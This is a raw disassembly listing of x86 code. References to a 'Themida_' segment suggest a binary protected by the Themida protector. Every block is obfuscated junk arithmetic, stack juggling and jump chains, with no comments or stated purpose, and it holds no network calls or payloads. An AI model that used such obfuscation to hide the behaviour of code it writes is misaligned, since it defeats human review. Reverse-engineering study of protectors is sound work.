		jmp	loc_56566C
; ---------------------------------------------------------------------------


loc_563DD2:				; CODE XREF: sub_562ABA+837Aj
		mov	[esp+3Ah+var_3A], eax
		jmp	loc_55F9A5
; ---------------------------------------------------------------------------


loc_563DDA:				; CODE XREF: sub_562ABA-3E69j
		sub	edi, ebx
		jmp	loc_55F648
; ---------------------------------------------------------------------------


loc_563DE1:				; CODE XREF: sub_562ABA+73C5j
		pop	eax
		sub	al, bl
		mov	ebx, [esp+22h+var_22]
		jmp	loc_56D6F2
; ---------------------------------------------------------------------------


loc_563DEC:				; CODE XREF: sub_562ABA+9782j
		pop	esi
		mov	esi, [esp+1Eh+var_1E]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56DC17
; ---------------------------------------------------------------------------


loc_563E16:				; CODE XREF: sub_562ABA+E478j
		mov	dl, 49h
		xchg	bh, dl
		push	ebx
		not	byte ptr [esp+22h+var_22+1]
		jmp	loc_56122C
; ---------------------------------------------------------------------------


loc_563E24:				; CODE XREF: sub_55FCA5-1690j
		push	2696h
		mov	[esp+26h+var_28+2], ecx
		mov	ecx, 3D0322F4h
		add	ecx, 0FFFFFFFFh
		push	edi
		mov	edi, 4BDC1201h
		add	ecx, 5B213387h
		sub	ecx, edi
		sub	ecx, 5B213387h
		pop	edi
		jmp	loc_569072
; ---------------------------------------------------------------------------


loc_563E4E:				; CODE XREF: sub_562ABA+E23Fj
		sub	edi, 0D770EAA8h
		and	eax, edi
		mov	edi, [esp+26h+var_28+2]
		jmp	loc_564855
; ---------------------------------------------------------------------------


loc_563E5E:				; CODE XREF: sub_562ABA-17B3j
		add	esp, 4
		push	edx
		mov	edx, 1
		sub	ecx, edx
		pop	edx
		sub	ecx, 7D26F8AEh
		jmp	loc_56D986
; ---------------------------------------------------------------------------


loc_563E75:				; CODE XREF: sub_562ABA-26Dj
		add	ecx, 0A1BC1E06h
		sub	eax, ecx
		pop	ecx
		mov	ebp, eax
		jmp	loc_56AE13
; ---------------------------------------------------------------------------


loc_563E85:				; CODE XREF: sub_562ABA+9F5Bj
		push	3E22h
		mov	[esp+22h+var_22], ebx
		mov	ebx, 4
		mov	edi, ebx
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
		mov	ecx, edi
		jmp	loc_56FD9A
; ---------------------------------------------------------------------------


loc_563EA4:				; CODE XREF: sub_562ABA-306Aj
		add	ecx, 2CAE5188h
		add	ecx, 8B671BC5h
		xor	ebp, ecx
		jmp	loc_570E59
; ---------------------------------------------------------------------------


loc_563EB7:				; CODE XREF: sub_562ABA+676Dj
		mov	[esp+16h+var_16], ebx
		jmp	loc_561EC1
; ---------------------------------------------------------------------------


loc_563EBF:				; CODE XREF: sub_55F788+2Ej
		sub	si, 0D0FDh
		jmp	loc_56F5B3
; ---------------------------------------------------------------------------


loc_563EC9:				; CODE XREF: sub_562ABA+10E2j
		add	ebx, 3F7EB505h
		mov	esi, ebx
		pop	ebx
		mov	edx, esi
		pop	esi
		mov	eax, edx
		jmp	loc_564EB5
; ---------------------------------------------------------------------------


loc_563EDC:				; CODE XREF: sub_562ABA+38Cj
		sub	esp, 4
		mov	[esp+1Eh+var_1E], ebp
		mov	ebp, 4
		jmp	loc_562781
; ---------------------------------------------------------------------------


loc_563EEF:				; CODE XREF: sub_562ABA-1F77j
		add	esp, 4
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_568B0A
; ---------------------------------------------------------------------------


loc_563F00:				; CODE XREF: sub_562ABA+79C1j
		not	eax
		xor	eax, 6D719F0h
		shr	eax, 3
		not	eax
		add	eax, 11B7B0CEh
		add	ebx, eax
		mov	eax, [esp+2+var_4+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5719E1
; ---------------------------------------------------------------------------


loc_563F27:				; CODE XREF: sub_55FCA5+2C7j
		mov	ax, word ptr [esp+6+var_8+2]
		push	edi
		push	esp
		mov	edi, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 70CD5945h
		jmp	loc_5713E6
; ---------------------------------------------------------------------------


loc_563F46:				; CODE XREF: sub_562ABA-3E08j
		mov	[esp+1Ah+var_1A], edi
		jmp	loc_56BC60
; ---------------------------------------------------------------------------


loc_563F4E:				; CODE XREF: sub_562ABA+3D06j
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		mov	edx, 3E314563h
		mov	esi, 3E314567h
		jmp	loc_56B3F0
; ---------------------------------------------------------------------------


loc_563F66:				; CODE XREF: Themida_:00560D43j
		mov	edx, esp
		jmp	loc_565FF0
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		push	eax
		push	ecx
		mov	cl, 6Ah
		neg	cl
		add	cl, 56h
		jmp	loc_56C0E4
; ---------------------------------------------------------------------------


loc_563F7D:				; CODE XREF: sub_562ABA+E07Aj
		add	edi, edx
		mov	edx, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	esi
		jmp	loc_56F3F0
; ---------------------------------------------------------------------------


loc_563F8E:				; CODE XREF: sub_562ABA-37ADj
		pop	esp
		mov	cx, word ptr [esp+48h+var_4A+2]
		push	4FEFh
		mov	[esp+4Ch+var_4E+2], edi
		push	esp
		push	[esp+50h+var_52+2]
		mov	edi, [esp+54h+var_56+2]
		add	esp, 4
		jmp	loc_56E175
; ---------------------------------------------------------------------------


loc_563FAA:				; CODE XREF: sub_562ABA+87A6j
		mov	ebx, 46863469h
		xor	ebx, 2CEB446Ah
		jmp	loc_55E406
; ---------------------------------------------------------------------------


loc_563FBA:				; CODE XREF: sub_562ABA+128Cj
		add	esp, 4
		xchg	ecx, [esp+12h+var_12]
		mov	esp, [esp+12h+var_12]
		jmp	loc_55F021
; ---------------------------------------------------------------------------


loc_563FCB:				; CODE XREF: sub_562ABA-3CD5j
		mov	edx, 43986B19h
		add	eax, edx
		pop	edx
		jmp	loc_568D23
; ---------------------------------------------------------------------------


loc_563FD8:				; CODE XREF: sub_562ABA+11DDj
		add	eax, ebx
		pop	ebx
		jmp	loc_5651EB
; ---------------------------------------------------------------------------


loc_563FE0:				; CODE XREF: sub_562ABA+A213j
		push	29B3h
		jmp	loc_56BE8B
; ---------------------------------------------------------------------------


loc_563FEA:				; CODE XREF: sub_562ABA-4288j
		mov	esi, 1FD905F6h
		or	esi, 3D3259A5h
		push	4401h
		mov	[esp+12h+var_12], edx
		jmp	loc_564371
; ---------------------------------------------------------------------------


loc_564002:				; CODE XREF: sub_562ABA-3E4j
		push	3953h
		mov	[esp+16h+var_16], ebx
		mov	ebx, 70B559DDh
		mov	edx, ebx
		pop	ebx
		mov	esi, edx
		jmp	loc_5689BA
; ---------------------------------------------------------------------------


loc_564019:				; CODE XREF: sub_562ABA+3DAj
		pop	esp
		pop	[esp+22h+var_22]
		mov	esp, [esp+1Eh+var_1E]
		push	[esp+1Eh+var_1E]
		push	[esp+22h+var_22]
		push	[esp+26h+var_28+2]
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_22], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+22h+var_22]
		pop	esp
		push	29DCh
		mov	[esp+22h+var_22], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+26h+var_28+2], edx
		push	ecx
		jmp	loc_56354D
; ---------------------------------------------------------------------------


loc_56406C:				; CODE XREF: sub_562ABA+D2DBj
		xor	[esp+2Ah+var_2C+2], eax
		xor	eax, [esp+2Ah+var_2C+2]
		jmp	loc_5662D8
; ---------------------------------------------------------------------------


loc_564077:				; CODE XREF: sub_562ABA+ED31j
		mov	edx, esp
		jmp	loc_57210E
; ---------------------------------------------------------------------------


loc_56407E:				; CODE XREF: sub_562ABA+2657j
		add	esp, 4
		or	eax, eax
		jz	loc_563AC9
		push	6717h
		mov	[esp+2Ah+var_2C+2], eax
		push	ebp
		mov	ebp, 1Ch
		jmp	loc_572439
; ---------------------------------------------------------------------------


loc_56409F:				; CODE XREF: sub_562ABA+DFEj
		mov	edx, 24h
		sub	edx, 159F3590h
		jmp	sub_55E87E
; ---------------------------------------------------------------------------


loc_5640AF:				; CODE XREF: sub_562ABA+4086j
		pop	ebp
		push	ecx
		jmp	loc_56551A
; ---------------------------------------------------------------------------


loc_5640B6:				; CODE XREF: sub_562ABA+328Bj
		mov	edx, esp
		add	edx, 4
		jmp	loc_560281
; ---------------------------------------------------------------------------


loc_5640C3:				; CODE XREF: sub_562ABA+C2B7j
		push	ecx
		mov	ecx, 62AF5EB9h
		sub	ecx, 591B1143h
		xor	ecx, 22C55F89h
		mov	esi, ecx
		pop	ecx
		mov	ecx, 0D4AEED02h
		add	ecx, 241F64EEh
		add	ecx, esi
		sub	ecx, 241F64EEh
		jmp	loc_56DFEF
; ---------------------------------------------------------------------------


loc_5640F0:				; CODE XREF: sub_562ABA+D96Cj
		mov	esp, [esp+12h+var_12]
		jmp	loc_56ED60
; ---------------------------------------------------------------------------


loc_5640F8:				; CODE XREF: sub_562ABA-1D55j
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		xor	edi, 0DBCBC6ABh
		add	ecx, edi
		pop	edi
		add	ecx, 2
		xchg	ecx, [esp+22h+var_22]
		pop	esp
		rol	byte ptr [esp+1Eh+var_1E], cl
		pushf
		jmp	loc_572AAA
; ---------------------------------------------------------------------------


loc_56411D:				; CODE XREF: sub_562ABA+B8DEj
		push	eax
		mov	eax, 5FF60138h
		jmp	loc_56B72E
; ---------------------------------------------------------------------------


loc_564128:				; CODE XREF: sub_562ABA+3741j
		xor	edi, [esp+26h+var_28+2]
		pop	esp
		xor	ebx, [esp+22h+var_22]
		xor	[esp+22h+var_22], ebx
		xor	ebx, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ebx
		push	4CD72123h
		jmp	loc_562317
; ---------------------------------------------------------------------------


loc_564150:				; CODE XREF: sub_562ABA-1AF2j
		push	[esp+0Ah+var_8+2]
		push	dword ptr [esp+0]
		pop	edx
		push	4FEh
		mov	[esp+12h+var_12], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp+16h+var_16], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_55F4EF
; ---------------------------------------------------------------------------


loc_564178:				; CODE XREF: sub_562ABA+3B3Dj
		push	ebp
		mov	ebp, 30525D34h
		or	ebp, 206F237Ah
		sub	ebp, 13E73DF3h
		add	esi, ebp
		pop	ebp
		sub	esi, 0DE0284E7h
		sub	ebx, esi
		pop	esi
		jmp	loc_56A12F
; ---------------------------------------------------------------------------


loc_56419B:				; CODE XREF: sub_562ABA+510Bj
		pop	esp
		mov	[esp+0Ah+var_C+2], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0Ah+var_C+2], esp
		add	[esp+0Ah+var_C+2], 4
		pop	ecx
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, 5D584A0Ah
		shr	edi, 3
		not	edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		neg	eax
		jmp	loc_569C92
; ---------------------------------------------------------------------------


loc_5641D4:				; CODE XREF: sub_562ABA+56B1j
		add	esp, 4
		sub	edx, 79DE395Ah
		push	edx
		mov	esi, [esp+0Ah+var_C+2]
		add	esp, 4
		pop	edx
		and	[edi+1Ch], esi
		mov	esi, [esp+2+var_4+2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	7A35h
		mov	[esp+0Ah+var_C+2], edi
		push	ebp
		mov	ebp, 4
		jmp	loc_56F144
; ---------------------------------------------------------------------------


loc_56420A:				; CODE XREF: sub_562ABA+68DDj
		push	ecx
		push	ebp
		push	5FC96AE8h
		pop	ebp
		push	1824h
		mov	[esp+1Ah+var_1A], edi
		mov	edi, 27AE3AC8h
		shl	edi, 1
		inc	edi
		shl	edi, 7
		add	edi, 5D2B4236h
		add	ebp, edi
		mov	edi, [esp+1Ah+var_1A]
		add	esp, 4
		not	ebp
		sub	ebp, 6BEF5225h
		add	ebp, 0E35FE2A4h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_562CF8
; ---------------------------------------------------------------------------


loc_564249:				; CODE XREF: sub_562ABA-403Ej
		pop	esp
		mov	[esp+2Ah+var_2C+2], eax
		jmp	loc_55E987
; ---------------------------------------------------------------------------


loc_564252:				; CODE XREF: sub_562ABA-27FDj
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, 22C71185h
		add	ebx, esi
		sub	ebx, 22C71185h
		pop	esi
		push	edi
		push	esi
		mov	esi, 48D10857h
		mov	edi, 0B72EF7ADh
		jmp	loc_569546
; ---------------------------------------------------------------------------


loc_564279:				; CODE XREF: sub_562ABA+91A1j
		xor	ebx, 0CD1476Eh
		add	ebx, 0D9ACC56Ch
		or	esi, ebx
		pop	ebx
		push	ebx
		push	edx
		mov	edx, 0F592AFEh
		jmp	loc_561636
; ---------------------------------------------------------------------------


loc_564294:				; CODE XREF: sub_562ABA+D4D3j
		add	esp, 4
		push	61BDh
		jmp	loc_56EB39
; ---------------------------------------------------------------------------


loc_5642A4:				; CODE XREF: sub_562ABA+F0A6j
		push	esi
		mov	esi, 41DD52AFh
		sub	ebp, 3D71636Dh
		jmp	loc_571EA0
; ---------------------------------------------------------------------------


loc_5642B5:				; CODE XREF: sub_562ABA-1A53j
		mov	bh, 0D8h
		jmp	loc_567D9E
; ---------------------------------------------------------------------------


loc_5642BC:				; CODE XREF: sub_562ABA+C7CFj
		push	58F7h
		mov	[esp+12h+var_12], edx
		push	esp
		pop	edx
		push	4606h
		mov	[esp+16h+var_16], esi
		mov	esi, 67BF11EDh
		or	esi, 69DA13B8h
		sub	esi, 0FFFFFFFFh
		add	esi, 9000EC06h
		add	edx, esi
		mov	esi, [esp+16h+var_16]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp+12h+var_12]
		mov	esp, [esp+12h+var_12]
		mov	[esp+12h+var_12], ecx
		mov	ecx, 2
		sub	ebp, ecx
		pop	ecx
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], cx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_564313:				; CODE XREF: sub_562ABA+1C78j
		pop	ecx
		add	edi, 0FFFFFFFFh
		add	edi, 208F0C15h
		jmp	loc_56C029
; ---------------------------------------------------------------------------


loc_564325:				; CODE XREF: sub_562ABA+1153j
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], esi
		jmp	loc_56A68C
; ---------------------------------------------------------------------------


loc_564340:				; CODE XREF: sub_562ABA+D4C8j
		push	7F26h
		mov	[esp+48h+var_4A+2], ebp
		mov	ebp, 4
		push	ebp
		jmp	loc_56DE57
; ---------------------------------------------------------------------------


loc_564353:				; CODE XREF: sub_562ABA+A3Bj
		mov	ecx, 4
		sub	esi, 2EA1799Ch
		sub	esi, 4C187802h
		add	esi, ecx
		jmp	loc_568F4D
; ---------------------------------------------------------------------------


loc_56436B:				; CODE XREF: sub_562ABA-18FDj
		push	ebp
		jmp	loc_56CC34
; ---------------------------------------------------------------------------


loc_564371:				; CODE XREF: sub_562ABA+1543j
		mov	edx, 45C9167Ch
		and	esi, edx
		pop	edx
		add	esi, 4F166B8Bh
		add	esi, 2A852958h
		push	ecx
		push	esi
		jmp	loc_564A32
; ---------------------------------------------------------------------------


loc_56438C:				; CODE XREF: sub_562ABA+2693j
		xor	esi, 5020DCACh
		xor	edi, esi
		pop	esi
		jmp	loc_561C20
; ---------------------------------------------------------------------------


loc_56439A:				; CODE XREF: sub_562ABA+3603j
		add	edx, 4
		sub	esp, 4
		jmp	loc_5657CB
; ---------------------------------------------------------------------------


loc_5643AB:				; CODE XREF: sub_562ABA-2F5Fj
		mov	dh, 9Bh
		mov	al, 0Ah
		sub	al, dh
		pop	edx
		sub	bl, al
		pop	eax
		push	eax
		mov	ah, 87h
		push	edx
		mov	dh, 4Eh
		jmp	loc_56D6FD
; ---------------------------------------------------------------------------


loc_5643C0:				; CODE XREF: sub_562ABA+40A1j
		mov	[esp+1Ah+var_1A], ebx
		jmp	loc_55F0FB
; ---------------------------------------------------------------------------


loc_5643C8:				; CODE XREF: sub_562ABA+86E3j
		mov	ch, 0Ch
		push	eax
		push	ebx
		mov	bl, dh
		mov	ah, bl
		pop	ebx
		mov	dh, ch
		jmp	loc_567D0B
; ---------------------------------------------------------------------------


loc_5643D8:				; CODE XREF: sub_562ABA+C494j
		mov	esp, [esp+1Eh+var_1E]
		mov	[esp+1Eh+var_1E], ecx
		jmp	loc_56CC46
; ---------------------------------------------------------------------------


loc_5643E3:				; CODE XREF: sub_562ABA+8651j
		mov	[esp+1Eh+var_1E], esp
		jmp	loc_5610E2
; ---------------------------------------------------------------------------


loc_5643EB:				; CODE XREF: sub_562ABA+A79Fj
		shr	ch, 6
		and	ch, 0A8h
		jmp	loc_56A5F9
; ---------------------------------------------------------------------------


loc_5643F6:				; CODE XREF: sub_562ABA+FED1j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp+1Ah+var_1A]
		pop	esp
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_55E1C3
		push	dword ptr [edi+1Ch]
		push	[esp+16h+var_16]
		jmp	$+5
		push	[esp+1Ah+var_1A]
		mov	ecx, [esp+1Eh+var_1E]
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_570789
; ---------------------------------------------------------------------------


loc_56442E:				; CODE XREF: sub_562ABA+8D72j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Ah+var_1A]
		pop	esp
		add	esi, 810EC1FCh
		mov	edx, esi
		mov	esi, [esp+16h+var_16]
		add	esp, 4
		sub	ebx, 23786886h
		add	ebx, edx
		add	ebx, 23786886h
		jmp	loc_562B2E
; ---------------------------------------------------------------------------


loc_56445D:				; CODE XREF: sub_562ABA+77D1j
		mov	[esp+12h+var_12], ebp
		mov	ebp, 7D516B02h
		sub	[esp+4], ebp
		push	[esp+12h+var_12]
		pop	ebp
		jmp	loc_55FBCD
; ---------------------------------------------------------------------------


loc_564472:				; CODE XREF: sub_562ABA+625j
		push	dword ptr [esp+0]
		push	[esp+12h+var_12]
		jmp	loc_56C6D4
; ---------------------------------------------------------------------------


loc_56447D:				; CODE XREF: sub_562ABA+FFDCj
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5685A7
; ---------------------------------------------------------------------------


loc_564484:				; CODE XREF: sub_562ABA-3987j
		sub	ecx, 0ED4BEA70h
		jmp	loc_55F995
; ---------------------------------------------------------------------------


loc_56448F:				; DATA XREF: Themida_:0055DDD4o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+38h+var_3A+2], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56449E:				; CODE XREF: sub_562ABA+FAEj
		pop	bx
		sub	al, ch
		push	[esp+1Ah+var_1A]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	sub_55F27A
; ---------------------------------------------------------------------------


loc_5644B4:				; CODE XREF: Themida_:005605C5j
		mov	ebx, 24AE7DCCh
		mov	edi, ebx
		pop	ebx
		xor	edi, 2B361451h
		sub	edi, 0F986999h
		sub	eax, 25E66D3Bh
		sub	eax, 49F07FB8h
		add	eax, edi
		jmp	loc_56691E
; ---------------------------------------------------------------------------


loc_5644D9:				; CODE XREF: Themida_:00561387j
		mov	edi, 4
		sub	edx, edi
		jmp	loc_5702B1
; ---------------------------------------------------------------------------


loc_5644E5:				; CODE XREF: sub_562ABA+E82Fj
		xchg	eax, ebp
		inc	ebp
		xchg	eax, ebp
		jmp	loc_5609CE
; ---------------------------------------------------------------------------


loc_5644ED:				; CODE XREF: sub_562ABA+E89Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55E591
; ---------------------------------------------------------------------------


loc_564501:				; CODE XREF: sub_562ABA+C505j
		push	ebp
		push	77D53669h
		pop	ebp
		xor	edx, ebp
		pop	ebp
		or	edx, 52AA67DDh
		push	2753h
		mov	[esp+22h+var_22], ecx
		push	edx
		mov	edx, 352C4C22h
		mov	ecx, 6DF574BCh
		jmp	loc_56C5F1
; ---------------------------------------------------------------------------


loc_564529:				; CODE XREF: sub_562ABA+213Bj
		mov	edx, 90F064Dh
		add	edx, 32C174ECh
		shr	edx, 4
		dec	edx
		shl	edx, 3
		sub	edx, 0A518CFC6h
		xor	ebp, edx
		jmp	loc_55FF4D
; ---------------------------------------------------------------------------


loc_564548:				; CODE XREF: sub_562ABA+A4F1j
		push	3F17h
		mov	[esp+2Ah+var_2C+2], edx
		push	eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_564557:				; CODE XREF: sub_562ABA-4558j
		mov	ebp, 676A4E87h
		add	ecx, 5FA302F8h
		add	ecx, ebp
		sub	ecx, 5FA302F8h
		pop	ebp
		xor	ecx, 66E15E5h
		shr	ecx, 7
		not	ecx
		not	ecx
		sub	ecx, 0B8AC74ACh
		xor	ebx, ecx
		jmp	loc_566AC6
; ---------------------------------------------------------------------------


loc_564585:				; CODE XREF: sub_562ABA+5F5Aj
		add	edx, 30493811h
		not	edx
		dec	edx
		add	edx, 846931CBh
		jmp	loc_56827C
; ---------------------------------------------------------------------------


loc_564599:				; CODE XREF: sub_562ABA+F664j
		add	edi, 4
		xchg	edi, [esp+32h+var_32]
		pop	esp
		jmp	loc_56B092
; ---------------------------------------------------------------------------


loc_5645A5:				; CODE XREF: sub_562ABA+DE72j
		neg	esi
		shl	esi, 2
		xchg	edx, esi
		inc	edx
		xchg	edx, esi
		jmp	loc_56EE32
; ---------------------------------------------------------------------------


loc_5645B4:				; CODE XREF: sub_562ABA+4D5Cj
		sub	esp, 4
		mov	[esp+32h+var_32], edi
		jmp	loc_565523
; ---------------------------------------------------------------------------


loc_5645BF:				; CODE XREF: sub_562ABA+B9F0j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+32h+var_32]
		pop	esp
		xchg	bh, ch
		jmp	loc_562CE3
; ---------------------------------------------------------------------------


loc_5645D3:				; CODE XREF: sub_562ABA+424Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	edx
		jmp	loc_56205B
; ---------------------------------------------------------------------------


loc_5645E3:				; CODE XREF: sub_560F80+8j
		push	eax
		mov	eax, 7F82DCBh
		xor	eax, 29AB27A5h
		inc	eax
		jmp	loc_55E1FD
; ---------------------------------------------------------------------------


loc_5645F4:				; CODE XREF: sub_562ABA+5E83j
		pop	eax
		add	eax, esi
		mov	esi, [esp+3Ah+var_3A]
		jmp	loc_566C5E
; ---------------------------------------------------------------------------


loc_5645FF:				; CODE XREF: sub_562ABA-10C7j
		shl	ecx, 3
		xor	ecx, 5FB9DCBh
		jmp	loc_570F26
; ---------------------------------------------------------------------------


loc_56460D:				; CODE XREF: sub_562ABA+BA1j
		sub	edi, 2CEA1E89h
		add	edi, esi
		add	edi, 2CEA1E89h
		pop	esi
		xor	edi, 60613EE8h
		jmp	loc_56D0C3
; ---------------------------------------------------------------------------


loc_564627:				; CODE XREF: sub_562ABA-1CDDj
		push	[esp+2Ah+var_2C+2]
		jmp	loc_56EFC4
; ---------------------------------------------------------------------------


loc_56462F:				; CODE XREF: sub_562ABA-20F1j
		pop	ebx
		push	eax
		push	ebp
		push	4
		jmp	loc_565BD0
; ---------------------------------------------------------------------------


loc_56463C:				; CODE XREF: sub_562ABA-33Ej
		dec	ebp
		inc	ebp
		jmp	loc_56D20F
; ---------------------------------------------------------------------------


loc_564643:				; CODE XREF: sub_562ABA+F855j
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		jmp	loc_5625EB
; ---------------------------------------------------------------------------


loc_564653:				; CODE XREF: sub_562ABA+A1C8j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	1042h
		mov	[esp+4Ah+var_4A], edi
		mov	edi, 1
		sub	esp, 4
		mov	[esp+4Eh+var_4E], edi
		mov	edi, 6FDA3278h
		jmp	loc_562623
; ---------------------------------------------------------------------------


loc_564677:				; CODE XREF: sub_562ABA+9F90j
		pop	esp
		mov	[esp+4Ah+var_4A], edi
		mov	edi, 6765685Dh
		jmp	loc_567148
; ---------------------------------------------------------------------------


loc_564685:				; CODE XREF: sub_562ABA+9C05j
		sub	edx, 6C594788h
		jmp	loc_566E46
; ---------------------------------------------------------------------------


loc_564690:				; CODE XREF: sub_562ABA+5C5j
		sub	edi, 1FF01D3Ch
		add	edi, eax
		add	edi, 1FF01D3Ch
		pop	eax
		jmp	loc_56F413
; ---------------------------------------------------------------------------


loc_5646A4:				; CODE XREF: sub_562ABA+8BDEj
		push	esi
		mov	esi, 4
		add	ebp, 36A67A31h
		add	ebp, esi
		push	eax
		mov	eax, 36A67A31h
		sub	ebp, eax
		push	dword ptr [esp+0]
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+32h+var_32]
		pop	esp
		pop	esi
		xor	ebp, [esp+2Ah+var_2C+2]
		xor	[esp+2Ah+var_2C+2], ebp
		jmp	loc_569C24
; ---------------------------------------------------------------------------


loc_5646D9:				; CODE XREF: sub_562ABA+8A9Bj
		mov	ch, 0ECh
		xor	ch, bl
		pop	ebx
		mov	bl, ch
		pop	ecx
		dec	bl
		push	cx
		mov	ch, 0AEh
		sub	bl, ch
		pop	cx
		add	al, 2Ch
		sub	al, bl
		push	ecx
		mov	ch, 2Ch
		sub	al, ch
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		mov	ebx, [esp+22h+var_22]
		push	6198h
		mov	[esp+26h+var_28+2], edi
		mov	edi, esp
		jmp	loc_568617
; ---------------------------------------------------------------------------


loc_56470C:				; CODE XREF: sub_562ABA+A624j
		pop	ebp
		and	ecx, edx
		push	[esp+22h+var_22]
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		add	esp, 4
		shr	ecx, 6
		push	ebx
		jmp	loc_564E39
; ---------------------------------------------------------------------------


loc_564727:				; CODE XREF: sub_562ABA+6C0j
		sub	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 22B23787h
		add	edi, ecx
		jmp	loc_564313
; ---------------------------------------------------------------------------


loc_564737:				; CODE XREF: sub_562ABA+C43Dj
		push	38E7h
		mov	[esp-4+arg_0], edx
		mov	edx, 584271D4h
		sub	ebp, edx
		pop	edx
		add	ebp, esi
		add	ebp, 584271D4h
		sub	ebp, 69362423h
		jmp	loc_56F749
; ---------------------------------------------------------------------------


loc_56475A:				; CODE XREF: sub_562ABA+F7F8j
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5661CB
; ---------------------------------------------------------------------------


loc_564765:				; CODE XREF: sub_562ABA-1E58j
		not	[esp+6+var_8+2]
		jmp	loc_56C442
; ---------------------------------------------------------------------------


loc_56476D:				; CODE XREF: sub_562ABA+BF46j
		push	27F2h
		mov	[esp+0Ah+var_C+2], eax
		push	[esp+0Ah+var_8+2]
		mov	eax, [esp+0]
		add	esp, 4
		pop	[esp+0Ah+var_C+2]
		jmp	loc_569B9F
; ---------------------------------------------------------------------------


loc_56478A:				; CODE XREF: Themida_:0057205Aj
		mov	[esp+6+var_8+2], esi
		push	esp
		push	[esp+0Ah+var_C+2]
		pop	esi
		jmp	loc_5676B1
; ---------------------------------------------------------------------------


loc_564797:				; CODE XREF: sub_562ABA+DFCFj
		mov	edi, 47D0017Ch
		add	edi, 5C835120h
		jmp	loc_56CB24
; ---------------------------------------------------------------------------


loc_5647A7:				; CODE XREF: sub_562ABA+3551j
		add	ecx, 5A014B57h
		add	ecx, 792F4A8Dh
		add	ecx, 3951222h
		add	ecx, 27343C07h
		mov	ebx, [esp+0Ah+var_C+2]
		jmp	loc_566645
; ---------------------------------------------------------------------------
		push	[esp+0Ah+var_C+2]
		pop	eax
		push	39E0h
		mov	[esp+0], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+12h+var_12], edi
		jmp	loc_56BC8D
; ---------------------------------------------------------------------------


loc_5647E0:				; CODE XREF: sub_562ABA+FBAEj
		xor	edx, [esp+12h+var_12]
		xor	[esp+12h+var_12], edx
		xor	edx, [esp+12h+var_12]
		mov	esp, [esp+12h+var_12]
		add	[esp+12h+var_12], eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5647F5:				; CODE XREF: sub_562ABA-3DB3j
		add	edi, 4
		xchg	edi, [esp+26h+var_28+2]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 186B6D51h
		jmp	loc_56A3DF
; ---------------------------------------------------------------------------


loc_56480D:				; DATA XREF: Themida_:0055DFC8o
		mov	ax, word ptr [esp+2Ah+var_2C+2]
		jmp	sub_56279F
; ---------------------------------------------------------------------------


loc_564816:				; CODE XREF: sub_55FCA5+488j
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp+0], esp
		jmp	loc_572332
; ---------------------------------------------------------------------------


loc_564828:				; CODE XREF: sub_55FA0F+11j
		dec	ebx
		not	ebx
		xor	ebx, 0EEF8B71Dh
		jmp	loc_566576
